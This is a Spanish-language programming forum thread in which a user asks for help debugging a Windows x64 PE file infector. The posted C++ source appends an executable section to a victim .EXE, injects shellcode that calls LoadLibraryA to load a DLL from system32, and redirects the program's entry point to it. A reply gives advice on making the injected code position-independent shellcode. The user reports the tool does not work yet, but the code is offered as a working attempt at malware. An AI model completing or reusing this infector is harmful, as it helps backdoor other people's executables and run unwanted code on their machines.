Hola buenos dias estoy desarrollando un programa informático que crea una sección nueva dentro del archivo .EXE  y copia su propia seccion de texto donde esta su código en dicha seccion ademas cambiando el entrypoint del archivo remoto . Sin embargo el archivo infectado no se encuentra funcional  
Imagen
 . Que le puede faltar ? He investigado que además deberia guardar las llamadas API que voy a utilizar  ¿Cómo lo hago? (es para 64 bits para windows 11)  . Hecho y compilado en visual Studio 2022  [Enlace externo eliminado para invitados]
Mensaje editado por Flight embedded
Copiar como tal la sección .text no va a funcionar ya que esta contiene datos y direcciones de memoria que han sido establecidos en tiempo de compilación (direcciones de las funciones importadas, etc). Debido a esto existe la sección .reloc para parchear estos valores en caso de que el pe no se cargue en la ImageBase predefinida.

Además puede darse el caso de que la nueva sección de código esté llamando funciones de librerías que no están cargadas ya que el pe original no las incluye en su IAT.

Por lo que para la técnica que quieres implementar (PE-infection) lo mejor es que transformes la sección .text que quieres inyectar en PIC (Position Independent Code) o shellcode. 
Imagen
he intentado con un shellcode mas simple para 64 bits pero sigue sin funcionar bien :-( 

#include <iostream>
#include <fstream>
#include <vector>
#include <windows.h>
#include <string>
#include <filesystem>

#pragma pack(push, 1)

namespace fs = std::filesystem;

struct PEHeader {
    IMAGE_DOS_HEADER dosHeader;
    IMAGE_NT_HEADERS64 ntHeaders;
};

#pragma pack(pop)

// Obtén la dirección de LoadLibrary y ajusta el shellcode
void AdjustShellcode(unsigned char* shellcode, size_t shellcodeSize) {
    // Obtener la dirección de LoadLibraryA
    HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
    if (!hKernel32) {
        std::cerr << "Error: No se pudo obtener el módulo kernel32.dll" << std::endl;
        return;
    }

    FARPROC loadLibraryAddr = GetProcAddress(hKernel32, "LoadLibraryA");
    if (!loadLibraryAddr) {
        std::cerr << "Error: No se pudo obtener la dirección de LoadLibraryA" << std::endl;
        return;
    }

    // Encuentra el offset de la instrucción "mov rax, LoadLibraryA_address_placeholder"
    int addressPlaceholderOffset = 18;  // Ajusta este valor si cambia el shellcode

    // Copiar la dirección de LoadLibraryA en el shellcode
    memcpy(shellcode + addressPlaceholderOffset, &loadLibraryAddr, sizeof(uintptr_t));

    std::cout << "Dirección de LoadLibraryA: " << std::hex << (uintptr_t)loadLibraryAddr << std::endl;
}
// Utility function for error handling
void PrintError(const char* message) {
    std::cerr << message << std::endl;
    exit(EXIT_FAILURE);
}

// Function to locate the .text section of a PE file
DWORD GetTextSectionRVA(const std::string& filePath, DWORD& textSectionSize) {
    std::ifstream file(filePath, std::ios::binary);
    if (!file) {
        PrintError("Cannot open file");
    }

    IMAGE_DOS_HEADER dosHeader;
    file.read(reinterpret_cast<char*>(&dosHeader), sizeof(IMAGE_DOS_HEADER));
    if (!file) {
        PrintError("Error reading DOS header");
    }

    file.seekg(dosHeader.e_lfanew, std::ios::beg);
    IMAGE_NT_HEADERS ntHeaders;
    file.read(reinterpret_cast<char*>(&ntHeaders), sizeof(IMAGE_NT_HEADERS));
    if (!file) {
        PrintError("Error reading PE header");
    }

    std::vector<IMAGE_SECTION_HEADER> sections(ntHeaders.FileHeader.NumberOfSections);
    file.read(reinterpret_cast<char*>(sections.data()), sizeof(IMAGE_SECTION_HEADER) * ntHeaders.FileHeader.NumberOfSections);
    if (!file) {
        PrintError("Error reading section headers");
    }

    for (int i = 0; i < ntHeaders.FileHeader.NumberOfSections; ++i) {
        if (strcmp(reinterpret_cast<const char*>(sections.Name), ".text") == 0) {
            textSectionSize = sections.Misc.VirtualSize;
            return sections.PointerToRawData;
        }
    }

    PrintError(".text section not found");
    return 0;
}

// Shellcode de 64 bits
const unsigned char shellcode = {
    0x50,                         // push rax
    0x51,                         // push rcx
    0x52,                         // push rdx
    0x53,                         // push rbx
    0x55,                         // push rbp
    0x56,                         // push rsi
    0x57,                         // push rdi
    0x41, 0x50,                   // push r8
    0x41, 0x51,                   // push r9
    0x41, 0x52,                   // push r10
    0x41, 0x53,                   // push r11
    0x41, 0x54,                   // push r12
    0x41, 0x55,                   // push r13
    0x41, 0x56,                   // push r14
    0x41, 0x57,                   // push r15

    // Call a placeholder that will be adjusted with the actual address
    0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, LoadLibraryA_address_placeholder
    0x48, 0x89, 0xC7,             // mov rdi, rax (store the address of LoadLibraryA in rdi)
    0x48, 0x8D, 0x15, 0x2A, 0x00, 0x00, 0x00, // lea rdx, [rip+42] ; offset to "C:\\windows\\system32\\pe.dll"
    0x48, 0x31, 0xC0,             // xor rax, rax (null-terminate the string)
    0xFF, 0xD7,                   // call rdi (call LoadLibraryA)

    // Clean up stack and restore registers
    0x41, 0x5F,                   // pop r15
    0x41, 0x5E,                   // pop r14
    0x41, 0x5D,                   // pop r13
    0x41, 0x5C,                   // pop r12
    0x41, 0x5B,                   // pop r11
    0x41, 0x5A,                   // pop r10
    0x41, 0x59,                   // pop r9
    0x41, 0x58,                   // pop r8
    0x5F,                         // pop rdi
    0x5E,                         // pop rsi
    0x5D,                         // pop rbp
    0x5B,                         // pop rbx
    0x5A,                         // pop rdx
    0x59,                         // pop rcx
    0x58,                         // pop rax
    0xC3,                         // ret (return to original entry point)

    // Ruta a la DLL a cargar: "C:\\windows\\system32\\pe.dll"
    'C', ':', '\\', 'w', 'i', 'n', 'd', 'o', 'w', 's', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'p', 'e', '.', 'd', 'l', 'l', 0x00
};


// Function to inject the shellcode into a PE file
void InjectShellcode(const std::string& victimFilePath, const std::string& outputFilePath, const unsigned char* shellcode, size_t shellcodeSize) {
    std::ifstream file(victimFilePath, std::ios::binary);
    if (!file) {
        PrintError("Cannot open victim file");
    }

    file.seekg(0, std::ios::end);
    size_t fileSize = file.tellg();
    file.seekg(0, std::ios::beg);
    std::vector<char> fileData(fileSize);
    file.read(fileData.data(), fileSize);
    file.close();

    IMAGE_DOS_HEADER dosHeader;
    std::memcpy(&dosHeader, fileData.data(), sizeof(IMAGE_DOS_HEADER));

    IMAGE_NT_HEADERS64 ntHeaders;
    std::memcpy(&ntHeaders, fileData.data() + dosHeader.e_lfanew, sizeof(IMAGE_NT_HEADERS64));

    IMAGE_FILE_HEADER& fileHeader = ntHeaders.FileHeader;
    IMAGE_OPTIONAL_HEADER64& optionalHeader = ntHeaders.OptionalHeader;
    IMAGE_SECTION_HEADER* sections = reinterpret_cast<IMAGE_SECTION_HEADER*>(fileData.data() + dosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS64));

    IMAGE_SECTION_HEADER& lastSection = sections[fileHeader.NumberOfSections - 1];
    DWORD newSectionVirtualAddress = lastSection.VirtualAddress + ((lastSection.Misc.VirtualSize + optionalHeader.SectionAlignment - 1) & ~(optionalHeader.SectionAlignment - 1));
    DWORD newSectionPointerToRawData = lastSection.PointerToRawData + ((lastSection.SizeOfRawData + optionalHeader.FileAlignment - 1) & ~(optionalHeader.FileAlignment - 1));

    size_t newFileSize = newSectionPointerToRawData + ((shellcodeSize + optionalHeader.FileAlignment - 1) & ~(optionalHeader.FileAlignment - 1));
    fileData.resize(newFileSize);

    IMAGE_SECTION_HEADER newSection = {};
    strncpy_s(reinterpret_cast<char*>(newSection.Name), sizeof(newSection.Name), ".self", _TRUNCATE);
    newSection.Misc.VirtualSize = (shellcodeSize + optionalHeader.SectionAlignment - 1) & ~(optionalHeader.SectionAlignment - 1);
    newSection.VirtualAddress = newSectionVirtualAddress;
    newSection.SizeOfRawData = (shellcodeSize + optionalHeader.FileAlignment - 1) & ~(optionalHeader.FileAlignment - 1);
    newSection.PointerToRawData = newSectionPointerToRawData;
    newSection.Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_CNT_CODE;

    std::memcpy(fileData.data() + dosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS64) + sizeof(IMAGE_SECTION_HEADER) * fileHeader.NumberOfSections, &newSection, sizeof(newSection));
    fileHeader.NumberOfSections++;
    optionalHeader.SizeOfImage = newSection.VirtualAddress + newSection.Misc.VirtualSize;


    // Crear una copia ajustable del shellcode
    std::vector<unsigned char> adjustedShellcode(shellcode, shellcode + shellcodeSize);
    AdjustShellcode(adjustedShellcode.data(), shellcodeSize);
    std::memcpy(fileData.data() + newSection.PointerToRawData, adjustedShellcode.data(), adjustedShellcode.size());

    optionalHeader.AddressOfEntryPoint = newSection.VirtualAddress;
    std::memcpy(fileData.data() + dosHeader.e_lfanew, &ntHeaders, sizeof(IMAGE_NT_HEADERS64));
    std::memcpy(fileData.data(), &dosHeader, sizeof(IMAGE_DOS_HEADER));

    std::ofstream outFile(outputFilePath, std::ios::binary);
    if (!outFile) {
        PrintError("Cannot open output file");
    }
    outFile.write(fileData.data(), fileData.size());
    std::cout << "Shellcode injected and entry point modified successfully." << std::endl;
}

int main(int argc, char* argv) {
    if (argc < 3) {
        std::cerr << "Usage: <victim file> <output file>" << std::endl;
        return EXIT_FAILURE;
    }

    std::string victimFilePath = argv[1];
    std::string outputFilePath = argv[2];

    InjectShellcode(victimFilePath, outputFilePath, shellcode, sizeof(shellcode));

    return EXIT_SUCCESS;
}
 
Se produce alguna excepción en el binario una vez le has inyectado la shellcode? Si es así, cuándo se produce?
Has probado a debuggear?
Imagen
Responder

Volver a “C/C++”